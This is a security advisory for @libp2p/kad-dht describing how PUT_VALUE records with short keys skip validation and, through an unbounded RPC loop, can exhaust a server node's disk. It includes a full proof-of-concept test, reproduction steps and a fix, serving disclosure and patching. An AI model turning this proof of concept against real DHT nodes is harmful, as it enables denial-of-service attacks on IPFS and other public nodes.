GHSA-32MQ-HPPH-XFVR

Vulnerability from github – Published: 2026-05-19 20:07 – Updated: 2026-06-11 13:30
VLAI
Summary
@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes
Details

Summary

An unauthenticated remote peer can exhaust the disk storage of any @libp2p/kad-dht node running in server mode by sending an unbounded stream of PUT_VALUE messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.

Details

Two cooperating defects combine to produce the vulnerability.

Defect 1: verifyRecord silent early-return (packages/kad-dht/src/record/validators.ts:19-21)

export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {                                                                                             
  const key = record.key                                                                                   
  const keyString = uint8ArrayToString(key)   // decode as UTF-8
  const parts = keyString.split('/')                                                                       

  if (parts.length < 3) {                                                                                                                                                                                             
    // No validator available                                                                              
    return                          // <- silent success; record IS written to datastore
  }                                                                                                        
  // ...                                             
}                                                                                                                                                                                                                     

Legitimate DHT keys (/pk/<multihash>, /ipns/<peerId>) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two / characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.

Defect 2: Unbounded RPC message loop (packages/kad-dht/src/rpc/index.ts:103-152)

let signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer
signal.addEventListener('abort', abortListener)      
const messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB

while (true) {
  if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }
  const message = await messages.read({ signal })
  await this.handleMessage(connection.remotePeer, message)
  // ...
  signal.removeEventListener('abort', abortListener)
  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message
  signal.addEventListener('abort', abortListener)
}

The inactivity timeout is reset after every successfully received message. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.

Combined impact

  • DEFAULT_MAX_DATA_LENGTH = 4 MB per message (from @libp2p/utils)
  • DEFAULT_MAX_INBOUND_STREAMS = 32 concurrent streams per kad-dht instance
  • Attack throughput: 4 MB × unlimited messages × 32 streams
  • Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)

Differential note: go-libp2p-kad-dht enforces record.Validator.Validate() per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.

PoC

The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.

File: packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts:

/**
 * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts
 *
 * Affected: packages/kad-dht/src/record/validators.ts:19-22
 *           packages/kad-dht/src/rpc/handlers/put-value.ts
 *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)
 */

/* eslint-env mocha */

import assert from 'node:assert'
import { start } from '@libp2p/interface'
import { defaultLogger } from '@libp2p/logger'
import { persistentPeerStore } from '@libp2p/peer-store'
import { Libp2pRecord } from '@libp2p/record'
import { streamPair } from '@libp2p/utils'
import { MemoryDatastore } from 'datastore-core'
import * as lp from 'it-length-prefixed'
import { TypedEventEmitter } from 'main-event'
import pDefer from 'p-defer'
import Sinon from 'sinon'
import { stubInterface } from 'sinon-ts'
import { StreamMessageEvent } from '@libp2p/interface'
import { toString as uint8ArrayToString } from 'uint8arrays/to-string'
import { Message, MessageType } from '../../src/message/dht.js'
import { PeerRouting } from '../../src/peer-routing/index.js'
import { Providers } from '../../src/providers.js'
import { RoutingTable } from '../../src/routing-table/index.js'
import { RPC } from '../../src/rpc/index.js'
import { passthroughMapper } from '../../src/utils.js'
import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'
import type { Validators } from '../../src/index.js'
import type { RPCComponents } from '../../src/rpc/index.js'
import type { Connection, Libp2pEvents } from '@libp2p/interface'
import type { AddressManager } from '@libp2p/interface-internal'
import type { Datastore } from 'interface-datastore'

describe('PoC: PUT_VALUE stores data without validation for short keys', function () {
  this.timeout(15_000)

  let rpc: RPC
  let datastore: Datastore

  beforeEach(async () => {
    const peerId = await createPeerIdWithPrivateKey()
    datastore = new MemoryDatastore()

    const components: RPCComponents = {
      peerId: peerId.peerId,
      datastore,
      peerStore: stubInterface(),
      addressManager: stubInterface<AddressManager>(),
      logger: defaultLogger()
    }
    components.peerStore = persistentPeerStore({
      ...components,
      events: new TypedEventEmitter<Libp2pEvents>()
    })

    await start(...Object.values(components))

    // Default validators: only 'pk' and 'ipns' in production.
    // Empty {} means: any key with ≥3 parts but unknown type throws; any key
    // with <3 parts silently passes (the bypass under test).
    const validators: Validators = {}

    rpc = new RPC(components, {
      routingTable: Sinon.createStubInstance(RoutingTable),
      providers: Sinon.createStubInstance(Providers),
      peerRouting: Sinon.createStubInstance(PeerRouting),
      validators,
      logPrefix: '',
      metricsPrefix: '',
      datastorePrefix: '',
      peerInfoMapper: passthroughMapper
    })
  })

  it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {
    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part
    // when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3
    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])
    const keyStr = uint8ArrayToString(craftedKey)
    const parts = keyStr.split('/')
    assert.ok(parts.length < 3,
      `key produces ${parts.length} parts — expected < 3 for bypass`)

    const PAYLOAD_SIZE = 64 * 1024  // 64 KB — replace with 4 * 1024 * 1024 for full impact
    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)

    const record = new Libp2pRecord(craftedKey, largeValue, new Date())
    const encodedRecord = record.serialize()

    const msg: Partial<Message> = {
      type: MessageType.PUT_VALUE,
      key: craftedKey,
      record: encodedRecord
    }

    // Confirm datastore is empty before the attack
    const before: string[] = []
    for await (const { key } of datastore.query({})) {
      before.push(key.toString())
    }
    assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,
      'datastore must be empty before attack')

    // Open an in-memory stream pair.
    // outboundStream = attacker; incomingStream = victim.
    const [outboundStream, incomingStream] = await streamPair()

    // Wait for the echoed response (PUT_VALUE handler returns the message).
    // This confirms the victim processed the message before we check the store.
    const responseReceived = pDefer<void>()
    outboundStream.addEventListener('message', (evt) => {
      // LP-decode the response and verify it's our PUT_VALUE echo
      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {
        const response = Message.decode(buf)
        if (response.type === MessageType.PUT_VALUE) {
          responseReceived.resolve()
        }
      }
    })

    // Schedule message send after victim starts listening (mirrors existing test pattern)
    queueMicrotask(() => {
      outboundStream.send(lp.encode.single(Message.encode(msg)))
    })

    // Start victim processing — do not await yet
    const victimDone = rpc.onIncomingStream(
      incomingStream,
      stubInterface<Connection>()
    )

    // Wait until the victim has processed and echoed the message
    await responseReceived.promise

    // Verify: arbitrary record was stored
    const after: string[] = []
    for await (const { key } of datastore.query({})) {
      after.push(key.toString())
    }
    const dhtRecordsAfter = after.filter(k => k.includes('/record/'))

    assert.ok(dhtRecordsAfter.length > 0,
      'VULNERABILITY CONFIRMED: arbitrary record stored without validation')

    console.log(`\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)
    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)
    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)

    // Clean up: abort the stream so victimDone resolves
    incomingStream.abort(new Error('test cleanup'))
    await victimDone.catch(() => {})
  })

  it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
    const MESSAGES = 8
    const VALUE_SIZE = 16 * 1024  // 16 KB each

    for (let i = 0; i < MESSAGES; i++) {
      // Unique key per message → unique datastore entry per write
      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
      const record = new Libp2pRecord(craftedKey, value, new Date())

      const msg: Partial<Message> = {
        type: MessageType.PUT_VALUE,
        key: craftedKey,
        record: record.serialize()
      }

      const [outboundStream, incomingStream] = await streamPair()

      const responseReceived = pDefer<void>()
      outboundStream.addEventListener('message', () => { responseReceived.resolve() })

      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())

      await responseReceived.promise
      incomingStream.abort(new Error('test cleanup'))
      await victimDone.catch(() => {})
    }

    const keys: string[] = []
    for await (const { key } of datastore.query({})) {
      keys.push(key.toString())
    }
    const dhtRecords = keys.filter(k => k.includes('/record/'))

    assert.strictEqual(dhtRecords.length, MESSAGES,
      `expected ${MESSAGES} records stored`)

    const totalKB = (MESSAGES * VALUE_SIZE) / 1024
    console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
  })
})

Steps to reproduce (tested on commit 15eeedba13846e55e8fc3f9e4c49af18fa185ea4):

git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/kad-dht
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha \
  'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000

Expected output:

PoC: PUT_VALUE stores data without validation for short keys

[PoC] Datastore key written:  /record/aebag
[PoC] Bypassed validator with: key=[0x1,0x2,0x3]
[PoC] Payload stored:          65536 bytes (64 KB)
    ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts

[PoC] 8 records stored → 128 KB written
[PoC] No per-peer write budget. No per-stream message count limit.
[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.
    ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked

2 passing (44ms)

Test 1 (BYPASS) confirms that a single PUT_VALUE message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.

Test 2 (RATE) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.

Impact

Affected deployments: any @libp2p/kad-dht node in server mode (clientMode: false). Server mode is the default for nodes with publicly routable addresses; the kad-dht module auto-switches to server mode (kad-dht.ts:340-358). This includes: - IPFS nodes (kubo, Helia, any JS IPFS implementation) - libp2p bootstrap nodes - Any application exposing a public DHT endpoint

Not affected: DHT client-mode nodes, setMode('client') calls registrar.unhandle(this.protocol) which removes the inbound stream handler entirely.

Availability (disk): attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared repo datastore). Node becomes unavailable.

No authentication barrier: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.

Suggested minimum fix: Change the silent early-return to a hard rejection:

-  if (parts.length < 3) {
-    // No validator available
-    return
-  }
+  if (parts.length < 3) {
+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)
+  }
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/kad-dht"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:07:52Z",
    "nvd_published_at": "2026-06-10T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node\u0027s datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability.                           \n                                                     \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)**                                                                                                                 \n                                                                                                           \n```typescript                                                                                                                                                                                                         \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise\u003cvoid\u003e {                                                                                             \n  const key = record.key                                                                                   \n  const keyString = uint8ArrayToString(key)   // decode as UTF-8\n  const parts = keyString.split(\u0027/\u0027)                                                                       \n                                                                                                           \n  if (parts.length \u003c 3) {                                                                                                                                                                                             \n    // No validator available                                                                              \n    return                          // \u003c- silent success; record IS written to datastore\n  }                                                                                                        \n  // ...                                             \n}                                                                                                                                                                                                                     \n```\n\nLegitimate DHT keys (`/pk/\u003cmultihash\u003e`, `/ipns/\u003cpeerId\u003e`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)**                                                                                                                               \n                                                                                                                                                                                                                      \n```typescript                                                                                              \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer\nsignal.addEventListener(\u0027abort\u0027, abortListener)      \nconst messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n  if (stream.readStatus !== \u0027readable\u0027) { await stream.close({ signal }); break }\n  const message = await messages.read({ signal })\n  await this.handleMessage(connection.remotePeer, message)\n  // ...\n  signal.removeEventListener(\u0027abort\u0027, abortListener)\n  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message\n  signal.addEventListener(\u0027abort\u0027, abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB \u00d7 unlimited messages \u00d7 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with \u003c 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n *           packages/kad-dht/src/rpc/handlers/put-value.ts\n *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from \u0027node:assert\u0027\nimport { start } from \u0027@libp2p/interface\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { Libp2pRecord } from \u0027@libp2p/record\u0027\nimport { streamPair } from \u0027@libp2p/utils\u0027\nimport { MemoryDatastore } from \u0027datastore-core\u0027\nimport * as lp from \u0027it-length-prefixed\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\nimport pDefer from \u0027p-defer\u0027\nimport Sinon from \u0027sinon\u0027\nimport { stubInterface } from \u0027sinon-ts\u0027\nimport { StreamMessageEvent } from \u0027@libp2p/interface\u0027\nimport { toString as uint8ArrayToString } from \u0027uint8arrays/to-string\u0027\nimport { Message, MessageType } from \u0027../../src/message/dht.js\u0027\nimport { PeerRouting } from \u0027../../src/peer-routing/index.js\u0027\nimport { Providers } from \u0027../../src/providers.js\u0027\nimport { RoutingTable } from \u0027../../src/routing-table/index.js\u0027\nimport { RPC } from \u0027../../src/rpc/index.js\u0027\nimport { passthroughMapper } from \u0027../../src/utils.js\u0027\nimport { createPeerIdWithPrivateKey } from \u0027../utils/create-peer-id.js\u0027\nimport type { Validators } from \u0027../../src/index.js\u0027\nimport type { RPCComponents } from \u0027../../src/rpc/index.js\u0027\nimport type { Connection, Libp2pEvents } from \u0027@libp2p/interface\u0027\nimport type { AddressManager } from \u0027@libp2p/interface-internal\u0027\nimport type { Datastore } from \u0027interface-datastore\u0027\n\ndescribe(\u0027PoC: PUT_VALUE stores data without validation for short keys\u0027, function () {\n  this.timeout(15_000)\n\n  let rpc: RPC\n  let datastore: Datastore\n\n  beforeEach(async () =\u003e {\n    const peerId = await createPeerIdWithPrivateKey()\n    datastore = new MemoryDatastore()\n\n    const components: RPCComponents = {\n      peerId: peerId.peerId,\n      datastore,\n      peerStore: stubInterface(),\n      addressManager: stubInterface\u003cAddressManager\u003e(),\n      logger: defaultLogger()\n    }\n    components.peerStore = persistentPeerStore({\n      ...components,\n      events: new TypedEventEmitter\u003cLibp2pEvents\u003e()\n    })\n\n    await start(...Object.values(components))\n\n    // Default validators: only \u0027pk\u0027 and \u0027ipns\u0027 in production.\n    // Empty {} means: any key with \u22653 parts but unknown type throws; any key\n    // with \u003c3 parts silently passes (the bypass under test).\n    const validators: Validators = {}\n\n    rpc = new RPC(components, {\n      routingTable: Sinon.createStubInstance(RoutingTable),\n      providers: Sinon.createStubInstance(Providers),\n      peerRouting: Sinon.createStubInstance(PeerRouting),\n      validators,\n      logPrefix: \u0027\u0027,\n      metricsPrefix: \u0027\u0027,\n      datastorePrefix: \u0027\u0027,\n      peerInfoMapper: passthroughMapper\n    })\n  })\n\n  it(\u0027BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\u0027, async () =\u003e {\n    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n    // when split on \u0027/\u0027: [0x01, 0x02, 0x03] \u2192 \"\\x01\\x02\\x03\" \u2192 length 1 \u003c 3\n    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n    const keyStr = uint8ArrayToString(craftedKey)\n    const parts = keyStr.split(\u0027/\u0027)\n    assert.ok(parts.length \u003c 3,\n      `key produces ${parts.length} parts \u2014 expected \u003c 3 for bypass`)\n\n    const PAYLOAD_SIZE = 64 * 1024  // 64 KB \u2014 replace with 4 * 1024 * 1024 for full impact\n    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n    const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n    const encodedRecord = record.serialize()\n\n    const msg: Partial\u003cMessage\u003e = {\n      type: MessageType.PUT_VALUE,\n      key: craftedKey,\n      record: encodedRecord\n    }\n\n    // Confirm datastore is empty before the attack\n    const before: string[] = []\n    for await (const { key } of datastore.query({})) {\n      before.push(key.toString())\n    }\n    assert.strictEqual(before.filter(k =\u003e k.includes(\u0027/record/\u0027)).length, 0,\n      \u0027datastore must be empty before attack\u0027)\n\n    // Open an in-memory stream pair.\n    // outboundStream = attacker; incomingStream = victim.\n    const [outboundStream, incomingStream] = await streamPair()\n\n    // Wait for the echoed response (PUT_VALUE handler returns the message).\n    // This confirms the victim processed the message before we check the store.\n    const responseReceived = pDefer\u003cvoid\u003e()\n    outboundStream.addEventListener(\u0027message\u0027, (evt) =\u003e {\n      // LP-decode the response and verify it\u0027s our PUT_VALUE echo\n      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n        const response = Message.decode(buf)\n        if (response.type === MessageType.PUT_VALUE) {\n          responseReceived.resolve()\n        }\n      }\n    })\n\n    // Schedule message send after victim starts listening (mirrors existing test pattern)\n    queueMicrotask(() =\u003e {\n      outboundStream.send(lp.encode.single(Message.encode(msg)))\n    })\n\n    // Start victim processing \u2014 do not await yet\n    const victimDone = rpc.onIncomingStream(\n      incomingStream,\n      stubInterface\u003cConnection\u003e()\n    )\n\n    // Wait until the victim has processed and echoed the message\n    await responseReceived.promise\n\n    // Verify: arbitrary record was stored\n    const after: string[] = []\n    for await (const { key } of datastore.query({})) {\n      after.push(key.toString())\n    }\n    const dhtRecordsAfter = after.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n    assert.ok(dhtRecordsAfter.length \u003e 0,\n      \u0027VULNERABILITY CONFIRMED: arbitrary record stored without validation\u0027)\n\n    console.log(`\\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)\n    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b =\u003e `0x${b.toString(16)}`).join(\u0027,\u0027)}]`)\n    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n    // Clean up: abort the stream so victimDone resolves\n    incomingStream.abort(new Error(\u0027test cleanup\u0027))\n    await victimDone.catch(() =\u003e {})\n  })\n\n  it(\u0027RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\u0027, async () =\u003e {\n    const MESSAGES = 8\n    const VALUE_SIZE = 16 * 1024  // 16 KB each\n\n    for (let i = 0; i \u003c MESSAGES; i++) {\n      // Unique key per message \u2192 unique datastore entry per write\n      const craftedKey = new Uint8Array([0x10, (i \u003e\u003e 8) \u0026 0xFF, i \u0026 0xFF])\n      const value = new Uint8Array(VALUE_SIZE).fill(i \u0026 0xFF)\n      const record = new Libp2pRecord(craftedKey, value, new Date())\n\n      const msg: Partial\u003cMessage\u003e = {\n        type: MessageType.PUT_VALUE,\n        key: craftedKey,\n        record: record.serialize()\n      }\n\n      const [outboundStream, incomingStream] = await streamPair()\n\n      const responseReceived = pDefer\u003cvoid\u003e()\n      outboundStream.addEventListener(\u0027message\u0027, () =\u003e { responseReceived.resolve() })\n\n      queueMicrotask(() =\u003e { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface\u003cConnection\u003e())\n\n      await responseReceived.promise\n      incomingStream.abort(new Error(\u0027test cleanup\u0027))\n      await victimDone.catch(() =\u003e {})\n    }\n\n    const keys: string[] = []\n    for await (const { key } of datastore.query({})) {\n      keys.push(key.toString())\n    }\n    const dhtRecords = keys.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n    assert.strictEqual(dhtRecords.length, MESSAGES,\n      `expected ${MESSAGES} records stored`)\n\n    const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n    console.log(`\\n[PoC] ${MESSAGES} records stored \u2192 ${totalKB} KB written`)\n    console.log(\u0027[PoC] No per-peer write budget. No per-stream message count limit.\u0027)\n    console.log(\u0027[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\u0027)\n  })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n  \u0027dist/test/rpc/poc-put-value-unvalidated.spec.js\u0027 --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written:  /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored:          65536 bytes (64 KB)\n    \u2714 BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\n\n[PoC] 8 records stored \u2192 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\n    \u2714 RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim\u0027s datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode(\u0027client\u0027)` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim\u0027s datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n                                                                                                           \n```diff\n-  if (parts.length \u003c 3) {\n-    // No validator available\n-    return\n-  }\n+  if (parts.length \u003c 3) {\n+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+  }\n```",
  "id": "GHSA-32mq-hpph-xfvr",
  "modified": "2026-06-11T13:30:45Z",
  "published": "2026-05-19T20:07:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45783"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…